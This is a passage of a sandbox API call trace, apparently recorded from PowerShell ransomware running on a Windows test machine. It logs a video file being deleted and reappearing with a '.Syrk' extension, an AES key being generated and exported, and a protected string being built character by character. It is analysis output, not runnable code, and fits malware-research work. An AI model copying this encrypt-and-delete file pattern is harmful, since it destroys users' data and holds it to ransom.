Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0262.362] CoTaskMemFree (pv=0x3b0008) [0262.364] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4")) returned 0x20 [0262.364] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0262.364] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4", lpFilePart=0x0) returned 0x2b [0262.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0262.364] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4"), fInfoLevelId=0x0, lpFileInformation=0x24fe604 | out: lpFileInformation=0x24fe604*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeecda70, ftCreationTime.dwHighDateTime=0x1d99648, ftLastAccessTime.dwLowDateTime=0xf2cfc740, ftLastAccessTime.dwHighDateTime=0x1d99c45, ftLastWriteTime.dwLowDateTime=0xf2cfc740, ftLastWriteTime.dwHighDateTime=0x1d99c45, nFileSizeHigh=0x0, nFileSizeLow=0x4d35)) returned 1 [0262.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0262.364] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4")) returned 1 [0262.366] EtwEventActivityIdControl () returned 0x0 [0262.366] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.367] EtwEventActivityIdControl () returned 0x0 [0262.367] EtwEventActivityIdControl () returned 0x0 [0262.367] EtwEventActivityIdControl () returned 0x0 [0262.373] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4.syrk")) returned 0x20 [0262.374] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4.syrk")) returned 0x20 [0262.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0262.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk", lpFilePart=0x0) returned 0x30 [0262.375] EtwEventActivityIdControl () returned 0x0 [0262.375] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.376] EtwEventActivityIdControl () returned 0x0 [0262.376] EtwEventActivityIdControl () returned 0x0 [0262.376] EtwEventActivityIdControl () returned 0x0 [0262.379] EtwEventActivityIdControl () returned 0x0 [0262.380] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.380] EtwEventActivityIdControl () returned 0x0 [0262.380] EtwEventActivityIdControl () returned 0x0 [0262.380] EtwEventActivityIdControl () returned 0x0 [0262.385] EtwEventActivityIdControl () returned 0x0 [0262.385] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.385] EtwEventActivityIdControl () returned 0x0 [0262.385] EtwEventActivityIdControl () returned 0x0 [0262.385] EtwEventActivityIdControl () returned 0x0 [0262.389] EtwEventActivityIdControl () returned 0x0 [0262.389] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.389] EtwEventActivityIdControl () returned 0x0 [0262.389] EtwEventActivityIdControl () returned 0x0 [0262.389] EtwEventActivityIdControl () returned 0x0 [0262.393] EtwEventActivityIdControl () returned 0x0 [0262.393] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.393] EtwEventActivityIdControl () returned 0x0 [0262.393] EtwEventActivityIdControl () returned 0x0 [0262.393] EtwEventActivityIdControl () returned 0x0 [0262.397] EtwEventActivityIdControl () returned 0x0 [0262.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0262.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\Z8vxFZJ-jnzGO.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\z8vxfzj-jnzgo.mp4.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2507d98 | out: lpFileInformation=0x2507d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17da9db0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x17da9db0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x17da9db0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x4d54)) returned 1 [0262.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0262.402] GetConsoleOutputCP () returned 0x1b5 [0262.402] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.402] GetConsoleOutputCP () returned 0x1b5 [0262.402] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.402] GetConsoleOutputCP () returned 0x1b5 [0262.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.403] GetConsoleOutputCP () returned 0x1b5 [0262.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.403] GetConsoleOutputCP () returned 0x1b5 [0262.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.403] GetConsoleOutputCP () returned 0x1b5 [0262.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.403] GetConsoleOutputCP () returned 0x1b5 [0262.403] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.404] GetConsoleOutputCP () returned 0x1b5 [0262.404] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.404] GetConsoleOutputCP () returned 0x1b5 [0262.404] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.404] GetConsoleOutputCP () returned 0x1b5 [0262.404] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.404] GetConsoleOutputCP () returned 0x1b5 [0262.404] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.404] GetConsoleOutputCP () returned 0x1b5 [0262.405] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.405] GetConsoleOutputCP () returned 0x1b5 [0262.405] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.405] GetConsoleOutputCP () returned 0x1b5 [0262.405] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.405] GetConsoleOutputCP () returned 0x1b5 [0262.405] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.405] GetConsoleOutputCP () returned 0x1b5 [0262.406] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.406] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0262.406] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0262.406] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25219dc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x25219dc*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0262.407] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0262.407] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0262.408] EtwEventActivityIdControl () returned 0x0 [0262.408] EtwEventActivityIdControl () returned 0x0 [0262.409] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.409] EtwEventActivityIdControl () returned 0x0 [0262.409] EtwEventActivityIdControl () returned 0x0 [0262.409] EtwEventActivityIdControl () returned 0x0 [0262.411] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.412] EtwEventActivityIdControl () returned 0x0 [0262.412] EtwEventActivityIdControl () returned 0x0 [0262.412] EtwEventActivityIdControl () returned 0x0 [0262.414] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d320) returned 1 [0262.415] CryptGenKey (in: hProv=0x5c4d320, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c995a0) returned 1 [0262.415] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.415] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0262.415] CryptExportKey (in: hKey=0x5c995a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x25293b4, pdwDataLen=0x5a2e8c4 | out: pbData=0x25293b4*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0262.415] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.416] EtwEventActivityIdControl () returned 0x0 [0262.416] EtwEventActivityIdControl () returned 0x0 [0262.416] EtwEventActivityIdControl () returned 0x0 [0262.417] SysStringLen (param_1="") returned 0x8 [0262.417] SysStringLen (param_1="Y") returned 0x8 [0262.417] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.417] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0262.417] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0262.417] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.417] SysStringLen (param_1="Yc") returned 0x8 [0262.417] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.417] SysStringLen (param_1="\짜ꅷ쒋ꊏ≲訩揌⊑) returned 0x8 [0262.417] SysStringLen (param_1="\짜ꅷ쒋ꊏ≲訩揌⊑) returned 0x8 [0262.417] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.418] SysStringLen (param_1="Ycr") returned 0x8 [0262.418] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.418] SysStringLen (param_1="쐟ﻯ熃䍃㵱幅") returned 0x8 [0262.418] SysStringLen (param_1="쐟ﻯ熃䍃㵱幅") returned 0x8 [0262.418] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.418] SysStringLen (param_1="Ycr7") returned 0x8 [0262.418] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.418] SysStringLen (param_1="잮꘯\雝͋巇\淞㯠") returned 0x8 [0262.418] SysStringLen (param_1="잮꘯\雝͋巇\淞㯠") returned 0x8 [0262.418] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.418] SysStringLen (param_1="Ycr7e") returned 0x8 [0262.418] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.418] SysStringLen (param_1="ﰷⷼ䒹ヸ쏯뼩쟒ྺ") returned 0x8 [0262.418] SysStringLen (param_1="ﰷⷼ䒹ヸ쏯뼩쟒ྺ") returned 0x8 [0262.419] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.419] SysStringLen (param_1="Ycr7eZ") returned 0x8 [0262.419] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.419] SysStringLen (param_1="峌裋㍬껶霟㑾\⋘) returned 0x8 [0262.419] SysStringLen (param_1="峌裋㍬껶霟㑾\⋘) returned 0x8 [0262.419] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.419] SysStringLen (param_1="Ycr7eZ8") returned 0x8 [0262.419] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.419] SysStringLen (param_1="鳡蠟為鮔壄骑먲") returned 0x8 [0262.419] SysStringLen (param_1="鳡蠟為鮔壄骑먲") returned 0x8 [0262.419] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.419] SysStringLen (param_1="Ycr7eZ88") returned 0x8 [0262.419] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.420] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫") returned 0x8 [0262.420] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫") returned 0x8 [0262.420] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫") returned 0x8 [0262.420] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫") returned 0x10 [0262.420] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.421] SysStringLen (param_1="Ycr7eZ88p뵛䌃侦䶘㩏") returned 0x10 [0262.421] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.421] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫㿉⵻傖堶๲䉪慲䔽") returned 0x10 [0262.421] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫㿉⵻傖堶๲䉪慲䔽") returned 0x10 [0262.421] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.421] SysStringLen (param_1="Ycr7eZ88ps䌃侦䶘㩏") returned 0x10 [0262.421] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.421] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫뙠商암ᱬꌒ") returned 0x10 [0262.421] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫뙠商암ᱬꌒ") returned 0x10 [0262.421] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.421] SysStringLen (param_1="Ycr7eZ88psx侦䶘㩏") returned 0x10 [0262.421] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.422] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫酐夢ꔸȭⰳ᳨뛁꿛") returned 0x10 [0262.422] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫酐夢ꔸȭⰳ᳨뛁꿛") returned 0x10 [0262.422] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.422] SysStringLen (param_1="Ycr7eZ88psxP侦䶘㩏") returned 0x10 [0262.422] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.422] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫냬ኘᤜᝑ㎀윝쟆") returned 0x10 [0262.422] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫냬ኘᤜᝑ㎀윝쟆") returned 0x10 [0262.422] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.422] SysStringLen (param_1="Ycr7eZ88psxPl䶘㩏") returned 0x10 [0262.422] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.422] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫䙃듩쵟䅚륯牗") returned 0x10 [0262.422] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫䙃듩쵟䅚륯牗") returned 0x10 [0262.422] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.422] SysStringLen (param_1="Ycr7eZ88psxPl/䶘㩏") returned 0x10 [0262.423] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.423] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫⇆幨齵껦둴탞奛") returned 0x10 [0262.423] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫⇆幨齵껦둴탞奛") returned 0x10 [0262.423] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.423] SysStringLen (param_1="Ycr7eZ88psxPl/5㩏") returned 0x10 [0262.423] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.423] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫鲄ꓐ७♫ꍇ") returned 0x10 [0262.423] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫鲄ꓐ७♫ꍇ") returned 0x10 [0262.423] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.423] SysStringLen (param_1="Ycr7eZ88psxPl/5k") returned 0x10 [0262.423] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.423] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ") returned 0x10 [0262.424] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ") returned 0x10 [0262.424] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ") returned 0x10 [0262.424] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ") returned 0x18 [0262.424] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.424] SysStringLen (param_1="Ycr7eZ88psxPl/5k2湂媌愖뿡徢擉\⋛) returned 0x18 [0262.424] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.424] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ⽈徢⥶\\ᗛ째솒") returned 0x18 [0262.424] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ⽈徢⥶\\ᗛ째솒") returned 0x18 [0262.424] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.425] SysStringLen (param_1="Ycr7eZ88psxPl/5k2P媌愖뿡徢擉\⋛) returned 0x18 [0262.425] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.425] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ侯㢒豟뫎醿࢟뒢") returned 0x18 [0262.425] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ侯㢒豟뫎醿࢟뒢") returned 0x18 [0262.425] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.425] SysStringLen (param_1="Ycr7eZ88psxPl/5k2PO愖뿡徢擉\⋛) returned 0x18 [0262.425] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.425] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ㤉㙄뢠\䗚﻾᯿≹) returned 0x18 [0262.425] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ㤉㙄뢠\䗚﻾᯿≹) returned 0x18 [0262.425] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.425] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POn뿡徢擉\⋛) returned 0x18 [0262.425] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.425] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ쇬秙푼굫ퟜἲ⡑") returned 0x18 [0262.425] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ쇬秙푼굫ퟜἲ⡑") returned 0x18 [0262.426] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.426] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnM徢擉\⋛) returned 0x18 [0262.426] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.426] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ㶧⛲鏂ᴩ鼢갺啪❛") returned 0x18 [0262.426] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ㶧⛲鏂ᴩ鼢갺啪❛") returned 0x18 [0262.426] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.426] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMz擉\⋛) returned 0x18 [0262.426] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.426] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ뾆莄꼽ɸ퀇┒砶恠") returned 0x18 [0262.426] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ뾆莄꼽ɸ퀇┒砶恠") returned 0x18 [0262.426] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.426] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzT\⋛) returned 0x18 [0262.426] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.427] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ\糞ᶾ⮛ꟲ乣獫⋗) returned 0x18 [0262.427] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ\糞ᶾ⮛ꟲ乣獫⋗) returned 0x18 [0262.427] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.427] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTs") returned 0x18 [0262.427] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.427] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅") returned 0x18 [0262.427] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅") returned 0x18 [0262.427] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅") returned 0x18 [0262.428] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅") returned 0x20 [0262.428] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.428] SysStringLen (param_1="Ycr7eZ88psxPl/5k2POnMzTss\뛙훪兾歷⼆빁∜) returned 0x20 [0262.428] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.428] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅墚\嗛㾳샖ㇻ∔) returned 0x20 [0262.428] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅墚\嗛㾳샖ㇻ∔) returned 